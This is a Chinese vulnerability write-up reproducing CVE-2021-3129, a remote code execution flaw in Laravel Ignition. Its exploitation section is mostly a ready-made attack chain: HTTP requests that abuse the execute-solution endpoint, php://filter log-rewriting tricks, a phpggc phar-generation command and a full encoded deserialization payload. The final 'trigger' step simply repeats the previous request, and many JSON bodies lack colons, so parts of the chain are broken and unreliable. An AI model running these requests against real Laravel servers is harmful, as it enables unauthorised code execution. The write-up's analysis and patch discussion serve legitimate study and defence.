【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

admin 2022年3月17日23:56:00评论199 views字数 14399阅读47分59秒阅读模式

【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

网安教育

培养网络安全人才

技术交流、学习咨询

CVE-2021-3129

Tag: [[php phar]] | [[php deserialize]]

Env搭建

VulEnv/laravel/cve_2021_3129 at master · XuCcc/VulEnv

Source 分析

根据描述,本质上是由于 facade/ignition 引入的问题,直接查看 ignition 的 commit 记录[^1] 看到 FacadeIgnitionSolutionsMakeViewVariableOptionalSolution 添加了一个安全过滤函数 isSafePath

 1// FacadeIgnitionSolutionsMakeViewVariableOptionalSolution::makeOptional
2
3public function makeOptional(array $parameters = [])
4
{
5    $originalContents = file_get_contents($parameters['viewFile']);
6    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
7
8    $originalTokens = token_get_all(Blade::compileString($originalContents));
9    $newTokens = token_get_all(Blade::compileString($newContents));
10
11    $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
12
13    if ($expectedTokens !== $newTokens) {
14        return false;
15    }
16
17    return $newContents;
18}

发现危险函数 file_get_contents ,跟踪函数调用栈

1FacadeIgnitionSolutionsMakeViewVariableOptionalSolution::makeOptional
2FacadeIgnitionSolutionsMakeViewVariableOptionalSolution::run
3FacadeIgnitionHttpControllersExecuteSolutionController::__invoke
4FacadeIgnitionIgnitionServiceProvider::registerHousekeepingRoutes

参数 $parameters['viewFile'] 无过滤,通过 execute-solution 路由可以进行触发,结合官方文档[^2] 可知,在执行 solution 操作时将走到 source 处。

Poc 编写

启动环境后,就出现了一个 igition 的错误修复界面,点击 Generate app key 抓包

【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

 1POST /_ignition/execute-solution HTTP/1.1
2Host: localhost:8000
3Content-Length: 82
4Accept: application/json
5Content-Type: application/json
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
7Origin: http://localhost:8000
8Referer: http://localhost:8000/
9Accept-Encoding: gzip, deflate
10Accept-Language: zh-CN,zh;q=0.9
11Connection: close
12
13{"solution":"Facade\Ignition\Solutions\GenerateAppKeySolution","parameters":[]}

然后修改参数 solution 修改为 MakeViewVariableOptionalSolution 指定 solution

 1POST /_ignition/execute-solution HTTP/1.1
2Host: localhost:8000
3Content-Length: 163
4Accept: application/json
5Content-Type: application/json
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
7Origin: http://localhost:8000
8Referer: http://localhost:8000/
9Accept-Encoding: gzip, deflate
10Accept-Language: zh-CN,zh;q=0.9
11Connection: close
12
13{
14    "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
15    "parameters": {
16        "variableName""sxv",
17        "viewFile""asdfasdf"
18    }
19}
20HTTP/1.1 500 Internal Server Error
21Host: localhost:8000
22Date: Tue, 15 Mar 2022 08:00:15 GMT
23Connection: close
24X-Powered-By: PHP/7.3.21
25Cache-Control: no-cache, private
26Date: Tue, 15 Mar 2022 08:00:15 GMT
27Content-Type: application/json
28
29{
30    "message""file_get_contents(asdfasdf): failed to open stream: No such file or directory",
31    ...
32}

500 则代表存在漏洞。

EXP 编写

当存在上传点时,直接上传 phar 文件进行反序列化即可,直接快进到第四步触发反序列化

利用思路

无上传点可利用时,我们可以操控 ../storage/logs/laravel.log 日志文件,配合 php://filter的特性来构建 phar 文件,执行反序列化。

1.清空日志文件

1{
2    "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
3    "parameters": {
4        "variableName""sxv",
5        "viewFile""php://filter/read=consumed/resource=../storage/logs/laravel.log"
6    }
7}

2.写入合法 phar 文件

1[2022-03-08 09:09:26] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at C:\Users\xu\Desktop\tmp\laravel\vendor\facade\ignition\src\Solutions\MakeViewVariableOptionalSolution.php:75)  
2[stacktrace]  
3#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError(2, 'file_get_conten...''C:\\Users\\xu...', 75, Array)  
4#1 C:\Users\xu\Desktop\tmp\laravel\vendor\facade\ignition\src\Solutions\MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')  
5........
6#41 {main}  
7"}

其中传入的 payload 出现位置

1...
2[padding] file_get_contents($payload) [padding] file_get_contents($payload)
3...
4[padding] file_get_contents('$payload[:15]'# 部分payload

由于 [[php phar#文件结构]] 特性,文件前后允许脏数据存在,所以思路为

构造phar文件,将phar文件经过编码后写入log文件,再通过 php://filter 特性还原phar文件,最后通过 phar://触发

编码特性

base64解码

不符合 base64 标准的字符将被忽略 然后继续解码

utf16 -> utf8

utf16 用两字节表示一个字符, 需要双字节对齐

quoted-printable 邮件编码

将 编码为 =00

 1<?php
2$fp = fopen('php://output''w');  
3stream_filter_append($fp, 'convert.base64-encode');  
4stream_filter_append($fp, 'convert.iconv.utf-8.utf-16le');  
5stream_filter_append($fp, 'convert.quoted-printable-encode');  
6fwrite($fp, "POCCCCCCCCCCCCC");
7fclose($fp);
8// U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00
9$fp = fopen('php://output''w');  
10stream_filter_append($fp, 'convert.quoted-printable-decode');  
11stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  
12//stream_filter_append($fp, 'convert.base64-decode');  
13fwrite($fp, "AACCU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00CCAA");  
14fclose($fp);
15// 䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁
16
17$fp = fopen('php://output''w');  
18//stream_filter_append($fp, 'convert.quoted-printable-decode');  
19//stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');  
20stream_filter_append($fp, 'convert.base64-decode');  
21fwrite($fp, "䅁䍃UE9DQ0NDQ0NDQ0NDQ0ND䍃䅁");  
22fclose($fp);
23// POCCCCCCCCCCCCC
24
25?>

发送

1// Step 1
2"U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00"
3// Step 2
4"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf- 
58|convert.base64-decode/resource=../storage/logs/laravel.log"

解码报错 file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence 观察日志文件

1[2022-03-10 07:02:55] local.ERROR: file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(U=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00): failed to open stream: No such file or directory at C:\Users\xu\Desktop\tmp\laravel\vendor\facade\ignition\src\Solutions\MakeViewVariableOptionalSolution.php:75)
2[stacktrace]
3#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError(2, 'file_get_conten...''C:\\Users\\xu...', 75, Array)
4#1 C:\Users\xu\Desktop\tmp\laravel\vendor\facade\ignition\src\Solutions\MakeViewVariableOptionalSolution.php(75): file_get_contents('U=00E=009=00D=0...')

断定由于 U=00E=009=00D=0... 处被截断导致 quoted-printable 解码报错,第三处位置只显示前15个字符,所以可以通过 'A' * 15进行填充,发送

1AAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00

解码后得到 POCCCCCCCCCCCCCPOCCCCCCCCCCCCC 出现了两次 payload ,初步符合我们的要求,能够自由控制 storage.log 内容。

那出现两次的 payload 如何解决呢?如果出现两次 payload 或者出现部分残留的base64编码允许的字符将影响后续的base64解码。可以通过在前后通过加填充字符的方式来调整 payload 的第一个字符下标为奇数 or 偶数,从而影响 utf16->utf8 的解码,来使得最终只出现一次 payload

【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析


例如发送 'A' * 16

1AAAAAAAAAAAAAAAAU=00E=009=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00Q=000=00N=00D=00

解码后成功得到 POCCCCCCCCCCCCC

phar 生成

利用 phpgcc [^3] 生成 phar 文件

1> php -d 'phar.readonly=0' ./phpggc Laravel/RCE5 "phpinfo();" -p phar -o poc.phar
2> php -r "echo file_get_contents('php://filter/read=convert.base64-encode|convert.iconv.utf-8.utf-16le|convert.quote  
3d-printable-encode/resource=poc.phar');"
 
4P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00...
5N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00

完整利用

1.清空日志

 1POST /_ignition/execute-solution HTTP/1.1
2Host: localhost:8000
3Content-Length: 196
4Accept: application/json
5Content-Type: application/json
6sec-ch-ua-mobile: ?0
7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
8Origin: http://localhost:8000
9Accept-Encoding: gzip, deflate
10Accept-Language: zh-CN,zh;q=0.9
11Connection: close
12
13{
14 "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
15 "parameters": {
16 "variableName""sxv",
17 "viewFile""php://filter/read=consumed/resource=../storage/logs/laravel.log"
18 }
19}

2.发送 phar 文件

 1POST /_ignition/execute-solution HTTP/1.1
2Host: localhost:8000
3Content-Length: 3222
4Accept: application/json
5Content-Type: application/json
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
7Origin: http://localhost:8000
8Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
9Accept-Encoding: gzip, deflate
10Accept-Language: zh-CN,zh;q=0.9
11Connection: close
12
13{
14 "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
15 "parameters": {
16 "variableName""sxv",
17 "viewFile"
18
19
20
21  "AAAAAAAAAAAAAAAP=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00r=00+=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00D=00I=00A=00Q=00A=00A=00T=00z=00o=000=00M=00D=00o=00i=00S=00W=00x=00s=00d=00W=001=00p=00b=00m=00F=000=00Z=00V=00x=00C=00c=00m=009=00h=00Z=00G=00N=00h=00c=003=00R=00p=00b=00m=00d=00c=00U=00G=00V=00u=00Z=00G=00l=00u=00Z=000=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00C=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00l=00d=00m=00V=00u=00d=00H=00M=00i=00O=000=008=006=00M=00j=00U=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00V=00z=00X=00E=00R=00p=00c=003=00B=00h=00d=00G=00N=00o=00Z=00X=00I=00i=00O=00j=00E=006=00e=003=00M=006=00M=00T=00Y=006=00I=00g=00A=00q=00A=00H=00F=001=00Z=00X=00V=00l=00U=00m=00V=00z=00b=002=00x=002=00Z=00X=00I=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=000=008=006=00M=00j=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00T=00G=009=00h=00Z=00G=00V=00y=00X=00E=00V=002=00Y=00W=00x=00M=00b=002=00F=00k=00Z=00X=00I=00i=00O=00j=00A=006=00e=003=001=00p=00O=00j=00E=007=00c=00z=00o=000=00O=00i=00J=00s=00b=002=00F=00k=00I=00j=00t=009=00f=00X=00M=006=00O=00D=00o=00i=00A=00C=00o=00A=00Z=00X=00Z=00l=00b=00n=00Q=00i=00O=000=008=006=00M=00z=00g=006=00I=00k=00l=00s=00b=00H=00V=00t=00a=00W=005=00h=00d=00G=00V=00c=00Q=00n=00J=00v=00Y=00W=00R=00j=00Y=00X=00N=000=00a=00W=005=00n=00X=00E=00J=00y=00b=002=00F=00k=00Y=002=00F=00z=00d=00E=00V=002=00Z=00W=005=000=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00E=00w=00O=00i=00J=00j=00b=002=005=00u=00Z=00W=00N=000=00a=00W=009=00u=00I=00j=00t=00P=00O=00j=00M=00y=00O=00i=00J=00N=00b=002=00N=00r=00Z=00X=00J=005=00X=00E=00d=00l=00b=00m=00V=00y=00Y=00X=00R=00v=00c=00l=00x=00N=00b=002=00N=00r=00R=00G=00V=00m=00a=00W=005=00p=00d=00G=00l=00v=00b=00i=00I=006=00M=00j=00p=007=00c=00z=00o=005=00O=00i=00I=00A=00K=00g=00B=00j=00b=002=005=00m=00a=00W=00c=00i=00O=000=008=006=00M=00z=00U=006=00I=00k=001=00v=00Y=002=00t=00l=00c=00n=00l=00c=00R=002=00V=00u=00Z=00X=00J=00h=00d=00G=009=00y=00X=00E=001=00v=00Y=002=00t=00D=00b=002=005=00m=00a=00W=00d=001=00c=00m=00F=000=00a=00W=009=00u=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00c=006=00I=00g=00A=00q=00A=00G=005=00h=00b=00W=00U=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=00W=00J=00j=00Z=00G=00V=00m=00Z=00y=00I=007=00f=00X=00M=006=00N=00z=00o=00i=00A=00C=00o=00A=00Y=002=009=00k=00Z=00S=00I=007=00c=00z=00o=00y=00N=00T=00o=00i=00P=00D=009=00w=00a=00H=00A=00g=00c=00G=00h=00w=00a=00W=005=00m=00b=00y=00g=00p=00O=00y=00B=00l=00e=00G=00l=000=00O=00y=00A=00/=00P=00i=00I=007=00f=00X=001=009=00C=00A=00A=00A=00A=00H=00R=00l=00c=003=00Q=00u=00d=00H=00h=000=00B=00A=00A=00A=00A=00M=00R=00g=00K=00G=00I=00E=00A=00A=00A=00A=00D=00H=005=00/=002=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00d=00G=00V=00z=00d=00O=00/=00f=00e=004=00O=00w=00P=00Z=00E=00S=00E=00Q=00e=00a=00f=004=005=00A=00o=00i=00R=00J=00r=00g=00N=00b=00A=00g=00A=00A=00A=00E=00d=00C=00T=00U=00I=00=3D=00"
22 }
23}

3.还原 phar 文件

此步骤可通过以下代码验证 phar 文件还原是否成功,或者通过http 200状态码判断

1$fix = file_get_contents("php://filter/read=convert.quoted-printable- 
2decode|convert.iconv.utf-16le.utf-8|convert.base64- 
3decode/resource=../storage/logs/laravel.log"
);  
4var_export($fix);

 1POST /_ignition/execute-solution HTTP/1.1
2Host: localhost:8000
3Content-Length: 271
4Accept: application/json
5Content-Type: application/json
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
7Origin: http://localhost:8000
8Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
9Accept-Encoding: gzip, deflate
10Accept-Language: zh-CN,zh;q=0.9
11Connection: close
12
13{
14 "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
15 "parameters": {
16 "variableName""sxv",
17 "viewFile""php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
18 }
19}

4.触发反序列化

 1POST /_ignition/execute-solution HTTP/1.1
2Host: localhost:8000
3Content-Length: 271
4Accept: application/json
5Content-Type: application/json
6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
7Origin: http://localhost:8000
8Referer: http://localhost:8000/?XDEBUG_SESSION_START=16187
9Accept-Encoding: gzip, deflate
10Accept-Language: zh-CN,zh;q=0.9
11Connection: close
12
13{
14 "solution""Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
15 "parameters": {
16 "variableName""sxv",
17 "viewFile""php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
18 }
19}

Patch 修复

 1protected function isSafePath(string $path)bool
2
{
3    if (! Str::startsWith($path, ['/''./'])) {
4        return false;
5    }
6    if (! Str::endsWith($path, '.blade.php')) {
7        return false;
8    }
9
10    return true;
11}

Reference

Laravel8 CVE-2021-3129 复现分析 - TARI TARI

Laravel Debug mode RCE(CVE-2021-3129)复现 - inHann的博客 | inHann’s Blog

Laravel Debug mode RCE(CVE-2021-3129)分析复现 - 先知社区

Footnote

[^1]: Comparing 2.5.1…2.5.2 · facade/ignition

[^2]: Security - Flare Docs

[^3]: ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

来源:华为云社区

作者:Xuuuu

原文链接:https://bbs.huaweicloud.com/blogs/337020?utm_source=51cto&utm_medium=bbs-ex&utm_campaign=paas&utm_content=content

版权声明:著作权归作者所有。如有侵权请联系删除

开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

加QQ(1005989737)找小姐姐私聊哦

精选文章
环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

我就知道你“在看”
【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日23:56:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞解析】CVE-2021-3129:Laravel远程代码漏洞复现分析https://cn-sec.com/archives/832487.html

发表评论

匿名网友 填写信息